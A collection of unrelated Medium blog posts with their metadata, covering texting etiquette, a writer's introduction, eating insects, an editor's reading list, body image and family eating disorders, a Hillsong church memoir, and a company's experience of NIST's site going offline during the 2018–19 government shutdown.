This can’t be emphasized enough. Some of us spend hours a day commuting in a car, so I get that it’s boring and it’s rush hour. But text messaging while driving is inexplicably stupid. It increases your crash risk 23x. Even if you’re happy to take that risk, think of the car or person you might crash into.
If you have that crucial a text message to get out, pull over and send it. Then again, if a message is that urgent and important, maybe you should have the discussion on the phone (or, you know, in person?).
2. Work
You know how we never have enough time to get all our work done? Yeah, that’s because of all the interruptions in our workday. (It’s also partially because we love getting distracted. Jonah Perretti built Buzzfeed on what he calls the, “Bored at work,” network.)
Text messages are a high value interruption, especially if we respond to each other right away. This is ridiculous. If I were to drop everything to respond to each text message I receive, I’d never get any work, or thinking, done. It’s the same reason I choose not to check Facebook until 6PM (unless it’s to proactively send a message to someone myself — but I don’t expect them to respond promptly, because I actually log out immediately after. Yeah, I’m a selfish user).
So I put my phone face down somewhere on silent, and get to work.
When I’m writing or researching, shifting my brain’s attention to even something as trivial as a text message will veer me entirely off course. I block out hours so that I can get writing done in minimal amounts of time. (Paul Graham calls this the Maker’s schedule.) So yes, even simple matters like, “Hey, did you hear about what happened with Business Insider?” makes me curious enough to check the news, read, learn more, and then respond to you. By that time, 15 minutes have passed and I get back to work. Except I never pick up where I left off. You don’t either.
When we get back to tasks at hand, our brains have to take some time to get back to where we left off (think of it as the human version of context switching). On average it takes over 20 minutes to get back to a task after an interruption.
Similarly, every day, every person only gets a few peak hours. If you use them wisely, you can do the work of three people. Don’t waste them texting people and distracting each other.
3. The Rest of Life
I know this is hard to believe, but sometimes I do stuff without you.
Sometimes I even have fun. And likewise, you should have fun without me too!
For example, if I’m having a conversation with you, you know how irritating it is when I check my phone as I’m talking to you. (Or worse yet, when you’re talking to me?)
So I might occasionally have a good conversation with someone else too. That doesn’t mean I don’t like you or don’t think your text message is important, it’s just that this person deserves my full attention right now.
Or, maybe it’s the late afternoon and I’m overwhelmed by the other interruptions and notifications, so I’ve disconnected myself and I’m going for a walk.
It’s ridiculous how attached to our phones we are. So let’s set a few things straight about text messages while we’re on the topic:
The Technology of Text Messages
For starters, text messages by default are more like email than they are like the phone call. They are asynchronous technology (although if all three were on a spectrum, they’d be somewhere in between the two).
However, companies created mechanisms to make texting as synchronous as possible (for valid reasons). For example, the infamous ellipses on iPhone (or “So and so is typing”), which is also present in other messaging apps. Let’s also not forget read receipts.
Yet it was one thing when these mechanisms affected us when we were logged in and on our desktop messenger client (e.g., MSN), and another when they’re with us everywhere. Our values and our culture have not caught up with the technology yet.
Although instant messaging software like AIM, ICQ, or MSN had these types of mechanisms as well, they also had the ability to change statuses. You didn’t have to be on, all the time. You could get away from them.
The technology influences how we think, but let’s accept it and not let it drive us crazy.
We also don’t have priority text messages like we do priority inbox. Imagine if a sender could tier the urgency or importance of a text, or if a receiver could filter it out. (Probably less strained relationships with the former.)
Life is passing us by. Every moment I spend upset that someone hasn’t replied to my text message is a wasted one. It won’t make them respond more quickly. So I’ve set my new default to not expecting a response immediately. Likewise, I don’t obligate myself to read or respond immediately. It’s just more bearable.
Resetting Expectations
Your phone buzzes. You’re curious. Who is that? Who might it be? You ignore it and get back to work.
Or, you glance at the phone, leave it unread, and get back to whatever real life experience you were in. That’s awesome! You don’t have to respond right away. And I’ll get by (somehow!).
However, I will be pissed if you don’t respond period. (If I tap the message (even accidentally), I’ll respond. But if I don’t, it stays unread, and the notifications stay on the screen to remind me to respond.)
Consider what the other person might be up to when you’re sending a message. Don’t forget, you’re demanding their attention.
Does the other person usually respond by end of day? If yes, good! Then they don’t hate you.
Does this person always take more than a few days to respond? Is it a pattern? If it is, then how important are they to you — and how important do you think you are to them? Do you think they’re doing it in purpose, or are they just clueless when it comes to text messages? Does it not match their lifestyle? Does their unique style of text messaging require a face-to-face conversation — or is there just a better way to have conversations with them?
If the other person usually replies consistently (and relatively promptly, e.g., within the hour), then please give them the benefit of the doubt.
And, better yet, get back to your own life! Enjoy it to the fullest. You only get once. And it’s too short to worry about people being mad that you don’t reply to their text right away. | https://medium.com/the-prototype/3-reasons-why-i-did-not-reply-to-your-text-message-yet-374c1b84cb2e | ['Herbert Lui'] | 2019-11-10 23:14:41.632000+00:00 | ['Messaging', 'Productivity', 'Life Lessons'] |
About Me — Giulia Penni. Lifelong Learner and Word-Lover. | About Me — Giulia Penni
Lifelong Learner and Word-Lover.
Me (Giulia Penni)
When I was a little girl, I used to write stories. I used to write a lot of stories, filling up notebook after notebook with novels and fairy tales. I was an avid reader too — I remember borrowing a new book almost every week from the school library. I loved fiction, especially books about magic and witches. I had a fervid imagination, and I was tirelessly writing new stories (although I must admit I was leaving some unfinished).
Writing provided an outlet for my creativity, and it was fun. I enjoyed reading my stories to my mother and playing make-believe games with my sister, pretending to be one of the imaginary characters from my tales.
Growing up, it became harder and harder for me to find the time to dedicate to my writing, but I never lost my passion for language and words, so I decided to study translations and communication at the university.
My passion for language led me abroad, first in Austria, where I lived a few years working as a communications specialist, then in Greece, where I currently live and work as a copywriter, writing and proofreading in my native language (Italian).
I recently joined Medium because, honestly, my boyfriend suggested me to do so (he’s an experienced data scientist turned writer to share his passion and knowledge for data science and AI).
I followed his advice for two reasons. First, I want to get feedback from my readers. Although I am passionate about writing, I never thought of myself as a writer, so nobody (except for my family and friends) has ever read anything I have written. Medium is a chance for me to get my content out there and see what happens. Plus, it’s a good side hustle to make a little extra money.
The second reason I joined Medium, and I am here now writing my About Me is because I felt I needed a challenge — when I was little I used to love writing in my native language, will I enjoy writing in a different language now? Will I enjoy writing about different topics? Will my readers (real readers) enjoy my writing? Most importantly, will I still enjoy writing at all?
I am glad I have undertaken this challenge, and I look forward to what is to come. My goal is to grow as a writer, improve my style and my writing skills, and make reading an enjoyable experience for whoever comes across my stories.
Thanks for reading 😊
Giulia | https://medium.com/about-me-stories/about-me-giulia-penni-88f594606b48 | ['Giulia Penni'] | 2020-11-22 18:14:10.976000+00:00 | ['About Me', 'Writers On Medium', 'Writing', 'Introduction', 'Autobiography'] |
Traditional Foods Abandoned Due to Unwarranted Cultural Fears | Bugs are an ancient food that provides real animal protein with all nine essential amino acids. Billions of people enjoy edible insects as food. There are over two thousand insects considered food, and each one tastes different.
Here in the West, we consider bugs the food of the poor or to be consumed only as survival food. This is affecting the world in ways you may not be aware of.
We revere steak and revile bugs. We send this message around the world in our discussions, online, on TV, and in the movies. Our attitude is that bugs are the food of the poor or survival food. So, all over the world, people are abandoning their traditional foods so they can eat as we do. Steak has become an international status symbol.
It’s below us to consider bugs as food. Even though replacing meat with bugs can reduce pollution, deforestation, and the inhumane way we treat commercial livestock. Worthy goals, but overcoming the mental challenge of eating bugs is just too much, don’t you agree?
On top of insects being a real animal protein that include all nine essential amino acids, they’re a prebiotic fiber (nutrition for probiotics), very high in antioxidants, a perfect Omega 3:6 balance, high in B12, Calcium, Zinc, Iron, and more. Insects are also a very bio-available food source.
But, again, does any of this matter if they look gross?
Lobster and sushi were once considered gross, and we overcame those fears. Now both lobster and sushi are some of the most expensive foods.
Bugs taste good, they’re healthy, sustainable, and raised humanely. So, what‘s holding you back?
Chefs are The Answer!
To combat unwarranted cultural fears, vanguard chefs need to put insects on the menu.
Try Chapuline Tostados or Teriyaki Tenebrio, these grasshoppers and mealworms add a nice flavor while also supplying real animal protein along with very bio-available vitamins and minerals.
There’s no reason not to eat insects. As soon as chefs impress people with how delicious they can be, they will begin trending, and the world will take notice.
Make Edible Insects a Trend Here in the West and it will have a Positive Affect Worldwide.
Bugs are a low-cost protein source available to just about anyone anywhere. They can be grown at home on food waste. They can be grown in rural and urban environments. They’re raised humanely and can be a low-tech business.
Bugs as food is an essential factor in reducing meat consumption, thus reducing pollution, deforestation, and the inhumane treatment of commercial livestock.
Don’t Let Your Unwarranted Cultural Fear Stand in the Way!
Support the cause! Add cricket powder to your next batch of cookie dough and bake protein-packed cookies with prebiotic fiber. Chapuline Tacos are high in antioxidants and a fun way to get your B12. Sprinkle black ants on your salad to add a citrus punch and get a very bio-available dose of Zinc. | https://medium.com/an-idea/traditional-food-sources-abandoned-because-of-our-unwarranted-cultural-fears-53da2f9f9236 | ['Bill Broadbent'] | 2020-11-20 21:15:10.005000+00:00 | ['Traditional Culture', 'Food Security', 'Culture', 'Chefs', 'Edible Insects'] |
Editor’s Picks — Top 10: The Worst Enemy to Creativity Is Self-Doubt | When you start writing, a stream of thoughts begins that tells you that your writing style is not good enough.
As time passes, you don’t even hear the chatter; self-doubt runs in the background — like a state of mind — forever assuring you that you do not have what it takes to be a writer.
You can’t get rid of it. You hope self-doubt would lessen with time, but it doesn’t unless you write and go into a state of flow. I have read a lot about it, and I think this is the way our minds work.
For example, Jordan Peterson, a clinical psychologist, says in one of his books, “The self-denigrating voice in the minds of people weaves a devastating tale. Life is a game. Worthlessness is the default condition. What but willful blindness could shelter people from such withering criticism?” Perhaps this self-doubt — that leads us to criticize ourselves — has a purpose. But overcoming it is necessary, and it needs guts:
“And by the way, everything in life is writable about if you have the outgoing guts to do it, and the imagination to improvise. The worst enemy to creativity is self-doubt.” ~Sylvia Plath
Even writers like Stephen King have to face their doubts. In On Writing, he says, “Writing fiction, especially a long work of fiction can be a difficult, lonely job; it’s like crossing the Atlantic Ocean in a bathtub. There’s plenty of opportunity for self-doubt.”
In a 2014 interview, King said he had a nightmarish fear of failure. Despite his success as a writer, King says, “I’m afraid of failing at whatever story I’m writing — that it won’t come up for me, or that I won’t be able to finish it.”
If you have not been able to reach a state of flow for a long time, it means that you have been doubting and criticizing yourself for that long. The best way to get rid of doubt is to forgive yourself for your yesterday’s mistakes and the mistakes that you’ll make today.
You’ll write silly articles, waste time watching Netflix, misquote at times, mess up grammar, not be able to comprehend the meaning and implications of some research. But that’s ok. As long as you are writing, you’ll reach your next level by working on new ideas and by making a lot of mistakes.
One way of overcoming self-doubt — that Molly Ho suggests — is to surround yourself with the right people. Read these top 10 writers of Illumination-Curated and support them. Become a friend of these excellent writers — it will help you to overcome your self-doubt and boost your creativity:
10. A New Revolutionary Self-Love Social Media Photo Challenge
Crystal Jackson is a former therapist. She is a great writer — someone you should follow. She is going to teach you to love yourself — if you allow her. Don’t miss this one.
While we can all lament about the downsides of social media — trolls, cyberbullies, our constant preoccupation with it, a veritable onslaught of bad news — there’s much to be said for how social media can provide us with a more extensive network of support. Take the photo challenges for instance. Nearly every day, I see some photo challenge — celebrating motherhood, relationships, and even just days when we feel good about ourselves.
9. Lessons Learned from a Government Agency that Posts Surreal Memes on Social Media
Simon Spichak is a brilliant neuroscience and science communicator. He has a perfect case study to share with you.
The Consumer Product Safety Commission in the USA is an important government agency responsible for keeping the public safe. Often, these messages are boring and unengaging. After all, how do you make advice like wearing helmets or replacing batteries in carbon monoxide detectors fun? I stumbled on the strange, wonderful, and surreal Twitter account for this agency. Pivoting to memes, their Twitter account has almost 90 000 followers. It provides the perfect case study for learning how to craft your message and grow an audience.
8. The Ignorance Phase Faced by Every Budding Social Media Influencer
Swati Suman writes to share her opinions and evolve in the process. In this great story, she wants to share her ideas on ways to increase the number of views and get noticed. Don’t miss it.
Many who believe that Confidence is ignorance, it might be to the ones who ignore it. But what about the situation in context to the ones being ignored? For instance — A Creator, An Influencer, A Blogger, or A Marketer. The question one asks when getting ignored — Why am I not getting enough engagement, What is the reason behind not getting views, When should I post to get enough traction, or How may I help resolve the issue?
7. Tricks In The Medium Editor You Didn’t Know About
Puck is a curious microbiologist. But in this article, he wants to tell you about Medium Editor’s built-in features. You’ll enjoy reading it.
Sometimes my fingers have their own minds and press different keys than I intend to. So, one time when typing away, in the Medium Editor, this box on the bottom of the page popped up. Chock full with keyboard shortcuts — a cheat sheet. Who would have known? Well, I am going to spill the beans and tell the world about it.
6. Flee to the Desert
Richard J. Goodrich is an author and a history professor. He is a wonderful writer. Don’t you want to know why sane and sensible people starting living on the rim of the Sahara desert? How could it benefit them? Intrigued? Go ahead and read the story.
In the mid-fourth century, the Roman world witnessed one of the strangest phenomena of its 1,100-year history. Men and women — Christians, who were to all outward appearances sane, sensible, and sober — began to abandon their towns and villages, families and friends, vocations and careers to make their way to the harsh deserts of Egypt. Some settled in newly-established colonies along the Nile river; others chose to live alone, away from the river, in isolated stone cells concealed in the arid wasteland along the eastern rim of the Sahara. Here, living beneath the scorching sun, these men and women devoted themselves to a single-minded search for God.
5. Embracing Tsundoku — How a Library of Unread Books Can Expand Your Mind
Zachary Minott is an avid reader, athlete, and a philosopher. He is here to teach you an impossible lesson: ‘Why the books you don’t consume provide more value to your life than the books you do consume’. Don’t you want to know more?
An abundance of knowledge and books leads to expected behaviors that you, my curious friend, might identify with: * Buying more books than you have time to read especially when you have a collection of unread books in your personal library still waiting to be read * Saving yet another article to read later on Medium to go along with your collection of the other 100 articles that intrigued in the past * Adding another lecture or video essay to your watch-later playlist on Youtube. In Japan, the term best used to describe this is Tsundoku.
4. Why Science Should Take the Soul Seriously
Paul Thomas Zenki’s style is deep and thorough. It’s your soul he is trying to find with his words, knowledge, and ideas. But when you’ll read this story, you’ll see how superbly he explains the concept of the human soul — using simple events of human life.
In the spring of 2005, the Woodside Hospice in Pinnelas Park, Florida, became ground-zero of a national debate over life, death, human rights, and the soul. The storm was sparked by a clash between the husband and the parents of Terri Schiavo (pronounced shave-oh), a woman residing at the hospice, and grew to encompass the state governor, the American Congress, a US President, national and international media, and the Vatican.
3. LinkedIn Isn’t Facebook or Twitter, and Surely Not Tinder
The Maverick Files is a thinker and financial professional. He is a wonderful writer and an editor of Illumination and Illumination-Curated. He is disciplined and a doer. If you haven’t read this story, here is your chance to read his work.
Facebook, Instagram, Tinder, Twitter, Snapchat, LinkedIn, Quora. Most of you reading this probably have accounts on at least 5 of these 7 platforms, don’t you? Well, I gave up on these a long time ago. I have some of the most basic accounts, which I also barely use. I’ve got a Facebook, that I barely spend anytime on, and a Linkedin where I update any promotions/job changes but have a very incomplete profile on.
2. New Politics Are not Left nor Right. They’re Human
Desiree Driesenaar wants to align the economy, ecology, and human spirit. You would love this masterpiece. She is telling us about a new type of politics — that is more human. Read this smart piece to know more. Don’t miss this one.
The world is changing fast now. Thundering waves are eroding our rocks. And most of us only see the negative excesses. Destruction, inequality, and oppression. Politicians are trying to force limited routes out of the mess. They have different worldviews. And we currently categorize them in left and right. The Left wants a big government. Curtailing free markets. Controlling businesses so they do as little harm as possible. The Right wants the free market to be left alone. They say the market will solve all problems in the end. Let me tell you, both of them are wrong. The eroding wave that will save us all is made out of collaborating, compassionate human drops. Not left, nor right, just human. And regenerative.
1. What Kind of Man Turns Down a Willing Woman?
Edward Robson, Ph.D.’s story went viral and it has been viewed more than 80000 times. Edward Robson is a retired psychologist, wordsmith, and a teacher.
You should definitely follow him and really all his work — to learn how he writes.
A comment on one of my recent articles caught my attention. A young man expressed appreciation for my advice about letting friendship grow before deciding whether to explore a sexual connection. The problem was, he said, sometimes women he went out with were ready for sex before he was. Now, I can’t say I’ve wrestled with that problem. When I was that man’s age (half a lifetime back), I would have laughed at such a statement, maybe even asked him, “Are you bragging or complaining?”
Final Thoughts
If your story was selected as one of the Top 10, please share another one of your stories in the comments with a brief introduction and a short review that can convince a reader to read your piece. (Please write the review in the third person and start it with your name.)
I must have missed something today. I cannot read every story on Illumination and Illumination-Curated. Dr Mehmet Yildiz, the Chief Editor and Founder of Illumination and Illumination-Curated, read, highlighted, and applauded every good story when he started his publications. He still reads almost all of the good ones. I try — and fail daily — to read all of the masterpieces.
Dr Mehmet Yildiz has kindly allowed our top 10 series a full shelf on the front page of Illumination-Curated and Illumination:
Image by Pexels from Pixabay
So, help me. Help me to find and rank the best work of the writers of Illumination and Illumination-Curated.
Happy reading. | https://medium.com/illumination-curated/editors-picks-top-10-the-worst-enemy-to-creativity-is-self-doubt-73349fc71d49 | ['Dew Langrial'] | 2020-12-03 00:07:46.494000+00:00 | ['Self Improvement', 'Readinglist', 'Writing', 'Reading', 'Writing Tips'] |
Weight a Minute… | Today I’m mad, crazy mad, at myself. This momentary madness is about my lifelong struggle, which I feel like is a struggle for a lot of people…see if any of this resonates.
If I could add back into my life every minute I’ve spent obsessing about my weight, I’d live another 20 years…is it just me? Maybe moreso than some others, I think. You see, I come from a family (although I use the term “family” loosely, since it never really felt like a family), anyway — a family that obsessed about female weight.
My mother was anorexic and was all of 63 pounds when she passed. Between the alcohol and the lack of nutrients, her body just stopped working. She died in her 50s.
My sister would eat, but then she’d purge. My mother used to complain to me that she’d find empty food containers, lots of them, under my sister’s bed, like full-on Entenman’s doughnut boxes — empty.
Tall and striking, my sister was a model at age 13. I don’t think it was the modeling that turned her to purging, though, I think it was more out of a lack of control. I’ve read that eating disorders often stem from the person feeling out of control and controlling one’s food intake was a way to take some of it back. Our home life was pretty awful and crazy, so wanting to control any aspect of her young life must have been needed, no matter how self-destructive.
Sadly, by the time my sister was 30, I noticed that her teeth were looking gray, likely from the acids that passed through them from purging — and she said she took tetracycline for her skin, which apparently also has that side effect. She also was so thin that she looked gaunt, but she did exercise like a fiend, so she was in shape and strong, just painfully thin. No idea the damage to her organs from the bulimia but throwing up one’s food for so many years had to have taken its toll.
She was so damned gorgeous when she was younger — it kinda broke my heart to see her hurt herself in this way.
My problem was not the same as the other women in my family. I also always had body dysmorphia, but my control issues mostly manifested elsewhere. I never controlled my diet in the same way my mom and sister did. I love food, I love a good cocktail or glass of wine — hell, bottle of wine, I love cooking and I have trouble placing limits on my intake. I’ve never been underweight. Only rarely have I considered myself at the correct weight. I usually am 5–10 pounds overweight, at least in my view. I always feel fat. Always.
This constant negative view of myself drives me crazy mad…I have such a love-hate relationship with my body. I’m very proportioned and have, well, never needed a boob job, but I always feel overweight, and feeling overweight impacts everything for me. I lose my confidence, and thus my mojo.
Why can’t I be one of those women who can walk with such confidence while showing rolls of fat, and there are a lot of women who do this. They seem to have fine mojo. I find their appearance so unattractive and yet they act as if they’re queens! And sorry, but that whole Kardashian look seems so fake, fat and cartoony to me. So… manufactured. Not a fan.
I’ve never been comfortable showing much skin at all. I’ve never worn a crop top, and only rarely do I show cleavage. I’ve always been like that — and I find women who routinely have their cleavage or abdomens front and center to be really tacky. They look like they’re trying so hard. I think showing a lot of cleavage is both unprofessional and needy. And yet… I said I wish I could feel comfortable doing that…such a conundrum.
I hate being so self-conscious about my body. Too much importance was placed on appearance by everything and everyone around me growing up. My father was often a misogynistic pig who would always comment about how women looked. To him, women weren’t valued for much else.
When we were young, my sister was referred to as “the pretty one,” and I was “the smart one.” My sister was known as “daddy’s girl,” I was not known as anything. I don’t recall ever being complimented on my appearance growing up, other than one time while we were watching TV, I was maybe 10 or 12, and my mother looked across the room at me and said, “you have good legs.”
Can’t believe I remember that as the one compliment from growing up. When my mother said that, I remember feeling as though she had been analyzing me and could find only one thing to compliment, which may or may not have been the case.
The only comment from my father in this area came when I was an adult. I was visiting him and his wife, my stepmother, in Murrieta, Georgia. I came downstairs dressed for a nice dinner out and my father looked me up and down, shook his head and said with what appeared to be disdain, “you are so Hollywood.” Because I was wearing black and in a long skirt? I guess as opposed to being in a little frilly, flowery dress, showcasing my legs and chest? He had said it while shaking his head, as though I was a lost cause. Yeah, that made a mark.
So now, I’m counting the Pandemic Pounds I’ve added since the stay-at-home orders began, and I’m wincing when I hear friends say they’ve been working out every day and have never looked better. I know I don’t look bad…but the extra (in my mind, anyway) 10 pounds or so has made me feel like shit. I hate myself. I wake up (like I have for decades) in the middle of the night and feel awful about my body. How could I have let myself gain weight again? I was almost happy with how I looked last year, even six months ago. Fuck, I’ve gained it back.
My life would be so much better if I was just always in shape. I only have so many good years left and I’m destroying them by feeling fat. Uch, I’m afraid my boyfriend thinks I’m disgusting, even as he tells me I’m hot. I think I’m disgusting. Every night I vow to make changes in my diet and start exercising more the next day. Usually, I don’t. I just continue to feel like shit about myself, it’s like my default position.
And maybe that’s just it — feeling fat, and maybe being 5–10 pounds above where I should be — this is my default feeling and apparently, my default weight. When did this damned default form? Why did I not make my default…better?! Is maybe being — ok, feeling — a little pudgy based in fear of being — of feeling — that I’m all that I can be? Is it fear of being defined by something other than my brain? Am I the only one who feels this way? Am I the only one who just can’t always stay in shape? I know, I know…I’m not.
We women rightly bitch about decades worth of advertising and entertainment that tells us repeatedly that we are not the ideal. That the sometimes-underweight actresses and often severely underweight models are the ideals, that’s why they’re on screen and in magazines wearing the beautiful clothes, makin’ the big bucks and having it all. Hey, good for them — they look amazing and they obviously have their mojo in line enough to show that much skin, but…damn, that’s not who most of us are. Thankfully, this is now such an old complaint that things may be changing…but…not without having done a lot of damage over the years.
So, what’s a Mojo Girl to do? We’re supposed to love ourselves for who we are, not for what we look like, right? Well, that’s super difficult for me. How about you?
Do we just try to take care of ourselves as best as we can and then cut ourselves some slack? Do we meditate about our self-worth and just practice walking the walk of confidence, even when we don’t feel it?
Um, YES. That’s exactly what we all should do. Do our best, treat ourselves with kindness, and walk the walk, regardless. I mean, it’s hard, but aren’t we tired of this particular madness?
I’m in for a real downer of a future if I tie my confidence to my appearance, cuz I ain’t gonna get better as the years pass. No, my mojo — our mojo — needs to come from inside, not outside. And I need to believe that.
I need to realize my worth and know that it has nothing to do with how I look right?
Ok, I’m working on it
One of these days I won’t forget how lucky I am to have the strong, mostly healthy and somewhat in-shape body that I have, and I’ll no longer be mad about it. One of these days.
By the way, you look great. Don’t let anyone tell you otherwise, including yourself.
We are Mojo Girls, no matter what. And the same goes for you Mojo Boys who are hangin out with us, too.
Time to go take a walk. Or read. Or sing a damned song, because having your mojo means we can — and should — feel good about ourselves, no matter what we’re doing, or how we look in the moment. Can ya feel it? Our internal mojo is on fire — let’s go radiate that glow, that warmth, that awesome feeling of confidence and knowing that we are enough, we are more than enough, maybe in several ways, to rock this world.
Hey, if this momentary madness struck a chord, let me know. And please remember to follow or favorite Mojo Girl Madness wherever you get your podcasts — and maybe share this if you know someone out there who may be feeling icky or has a tendency to do so — let them know they’re not alone and we all need a pep talk sometimes.
And make a pledge -make a pledge — to each other — to give each other compliments, to give yourself compliments, and to try to love you…all of you.
And know that I love ya, madly.
The above is the text of the Mojo Girl Madness podcast episode entitled, WEIGHT A MINUTE…Listen to all episodes at mojogirlmadness.com | https://medium.com/@katygarretson/weight-a-minute-93ca2d76e180 | ['Katy Garretson'] | 2020-12-07 18:38:13.754000+00:00 | ['Self Worth', 'Mojo', 'Weight', 'Body Image', 'Self Love'] |
Pop Culture Mondays/12.7.20 | A cliche
HOT PRIEST:
OK, so I have talked about my past and religion here before but as a refresher I have a complicated history with religion. I was born into a Quaker family and my first 5 years or so were going to Friends Meetings. THEN, we became Presbyterians and church became a BIT fancier and I had to dress up and Christmas was a BIG deal and I was either an angel in the Nativity or a bell ringer and I always wore white tights and black velvet Mary Janes. I was baptized at 6 as a Presbyterian. BUT this was tricky as I was also one of 13 girls at the Convent of the Sacred Heart school where I wore the perfect little plaid jumper (a dress for those in the UK, not a sweater) and blue knee socks and a blue cardigan. I loved it so much. This was a CATHOLIC school with full on nuns in their habits and chapel every day and I had to take First Communion classes because I was a student there. I would say, my FIRST brush with church and scandal was there…when APPARENTLY the head priest at the time, Father Daryl or something like that…ran off with a high school senior. This was the early ’80s so I imagine she was one of those girls in a Benetton sweater wearing frosted brownie lipstick and had feathered hair and wore Vuarnets. I mean I have no idea, but that’s what I imagine.
ANYWAY, then my mom decided she wanted to become a Presbyterian MINISTER so she started going to Union Theological Seminary and our nightly Uno games turned into me holding my mom’s index cards as she learned Latin and other Theology-ish things. I WAS SURROUNDED BY JESUS. THEN IN FACT my mom decides we are NOW Episcopal which is more like being Catholic and it was all confusing. So I was Confirmed as an Episcopal I think I was 14 or so with a very posh ceremony and lots of incense and singing and my mom began to wear robes and she stopped shopping at Neiman Marcus where we used to go every week for shopping and popovers for lunch and instead started POURING over the latest in HOT PREACHER fashion in catalogs where she would look at all the latest trends in priest wear. THIS REALLY HAPPENED.
Very much like this first clip in this “FLEABAG” montage:
ANYWAY, long story short…..I am JEWISH. It turns out. Like FULL on Jewish…like 88 PERCENT Ashkenazi Jewish (thank you 23 & ME) so this religion thing is a total head fuck. I will say my first flirtations from older men ALWAYS happened in a church setting…just as I started “blossoming” as a teen as one would say, it was always some creepy man/someone’s dad at church/reverend/ who would make some super inappropriate comment to me and it was CREEPY AF.
SOOOOOOO…..this is a long story to get us to Hillsong, another CHURCH. I was introduced to Hillsong maybe like 8 years ago…give or take. I was told it was a new take on church and it came from Australia and it was FUN and modern and for people like ME who was skeptical of church and religion in general…it incorporated music and it was unlike anything I have ever seen. I was invited to attend with regulars and when I arrived at Irving Plaza — a MUSIC VENUE — late morning on a Sunday, I noted that I usually was LEAVING Irving Plaza on a Sunday morning, pretty drunk, with a cigarette in hand after a rock show. But here I was, in a summery dress and sandals going to a church service. I arrived to find women wearing tight jeans or leather pants and high heeled Louboutins and men looking like they were DIPPED in John Varvatos with low v-neck t-shirts and silver necklaces. EVERYONE was hot and I looked like fucking LAURA INGALLS WILDER.
We stood outside Irving Plaza as more people began arriving and THEN, the group I was with were given WRISTBANDS and ushered into the venue to the VIP SECTION…up in front of the stage of Irving Plaza we were taken to a roped off section and everyone else around us were looking to see who we were because…VIPs. AT “CHURCH”.
It didn’t feel like 11AM, it felt like midnight as the place was dark and loud music was pumping and the strobe lighting or whatever it was, was VERY ROCK SHOW. And then the show, aka church service started. And it was loud and everyone was beautiful — and there were thousands -and NO one was over 35 and they all had their arms high up in the air and the band was rocking but instead of singing about sex drugs and rock and roll they were singing about…JESUS. I mean fuck, even I got into it. I think I raised one arm because I AM A SUCKER FOR HOT MEN WITH GUITARS singing songs that made the hairs on your arms stand up. I mean check this out…it has 176 MILLION views:
ANYWAY…then comes the Pastor. I know all about how important a Pastor/Priest/Minister is in terms of bringing the flock together. My mom would rehearse her sermons like an actor rehearsing for a play. It’s theatrical…you need to bring people together and inspire them and the whole energy and dynamic is important.
BUT OMG PASTOR CARL WAS HOT. He came out onto the stage…he was wearing a button down shirt with the sleeves cut off and unbuttoned down to almost the naval and a ton of silver necklaces like he was dipped in YSL and Varvatos and had on a MASSIVE expensive looking watch and I looked around the “flock” and girls were LOSING THEIR SHIT. Like Elvis had just entered. They pushed forward more, they fixed their hair, they had that look girls do when at a concert and they just HOPE the lead singer notices them.
Here is Pastor Carl preaching:
And I was buying whatever this dude was selling, I am not going to lie. When it was time for “communion” they handed out candy…CANDY! Pastor Carl could have told me to jump off the Brooklyn Bridge and at that moment I probably would have. It was INTOXICATING. A perfect way to manipulate a certain group of people….be HOT, be fashionable, wear expensive brands, play music that is pop/rock, make it a club feel, make a VIP section…and then BOOM you have a flock and you have MONEY coming in and it’s a story as old as time.
As is when the mighty fall. AND if I have ONE super power…my ONE SUPER POWER is identifying the bad boy…I have a radar and I HONED IN ON PASTOR CARL. AND VOILA, call me the least surprised….AS Pastor Carl inevitably did fall….we saw him hanging with the Bieber and other famous artists…looking hot and like he was having a good ole time. HE became TMZ and Daily Mail famous. And then we learn Pastor Carl has been a bad husband and had at least one affair…likely more…but was caught because of TECHNOLOGY as his texts exchanges ended up on the work computer his team was also using. AND TABLOIDS GO NUTS. And I didn’t write about it before because it was all so OBVIOUS and cliche and what more could be said. BUT then the New York Times did an amazing look (link below) at it and I was like “I HAVE TO SHARE MY EXPERIENCE”.
Hillsong is a juggernaut regardless…they have a bajillion plays on Spotify and YouTube…the numbers are staggering. But like all churches…scandal is just under the surface. Don’t AT me…I have seen it in EVERY CHURCH I was a part of as a kid. EVERY head of a church was having an affair or playing with children or stealing from the church accounts or ALL OF THE ABOVE. Whether they are wearing fancy robes, or YSL leather pants…it’s always the same.
AND PS: Pastor Carl was one of the people that brought wire-rimmed aviator glasses into the frontlines of pop culture and I say this with all seriousness…this is one of his BIGGEST OFFENSES. | https://medium.com/popculturemondays/pop-culture-mondays-12-7-20-7795e23830b | ['Brooke Hammerling'] | 2020-12-07 19:25:37.780000+00:00 | ['Hillsong', 'Tik Tok', 'Elliot Page', 'Church', 'Pop Culture'] |
How my company’s public exposure benefited from the government shutdown | Sit back, relax, and read my story about how the Aligned Risk Management team was able to benefit in a most unexpected way from the recent government shutdown.
The longest partial government shutdown in the history of the United States was ended recently. It began on December 22, 2018 after Democrats refused to support a new temporary continuing resolution in the Senate that included approximately $5 billion for the new border wall. Lasting 35 days, the deadlock was resolved on January 25, 2019.
With a 1980 interpretation of the 1884 Antideficiency Act, a “lapse of appropriation” caused by political impasse on proposed appropriation bills requires that the federal government curtail agency activities and services, close down non-essential operations, furlough non-essential workers, and only retain essential employees in departments covering the safety of human life or the protection of property.
This lapse of appropriation impacted the National Institute of Standards and Technology. NIST is a physical sciences laboratory, and a non-regulatory agency of the US Department of Commerce. Its mission is to promote innovation and industrial competitiveness. The institute’s activities are organized into laboratory programs. For our purposes, we’re going to focus on the institute’s information technology standards.
NIST has published a great number of excellent standards followed by innumerable business, government agencies, and the like. They’re referred to as NIST Special Publications, which are a type of publication issued by NIST. Specifically, the Special Publication 800-series reports on the Information Technology Laboratory’s research, guidelines, and outreach efforts in computer security, and its collaborative activities with industry, government, and academic organizations
Just days before the shutdown, NIST released the highly anticipated Risk Management Framework 2.0. Because of the shutdown, this directly impacted the availability of this new document as the NIST website was partially taken offline.
For about 35 days, the world was unable to review certain NIST Special Publications.
For about 35 days, the Aligned Risk Management team and the entire country were unable to review certain NIST Special Publications that serve as standards for the information technology industry and related fields.
Aligned Risk Management takes great pride in consolidating the best industry practices in information technology, security, and privacy, and relies on standards set by NIST and other trusted bodies. As such, we were among those that were anticipating the release of the Risk Management Framework 2.0. We published a story related to the release. | https://medium.com/@pmbrenner91/how-my-companys-public-exposure-benefited-from-the-government-shutdown-8cf8d59f131c | ['Patrick Monroe Brenner'] | 2019-02-07 22:03:13.336000+00:00 | ['Shutdown', 'Public Relations', 'Advertising', 'Cybersecurity', 'Availability'] |
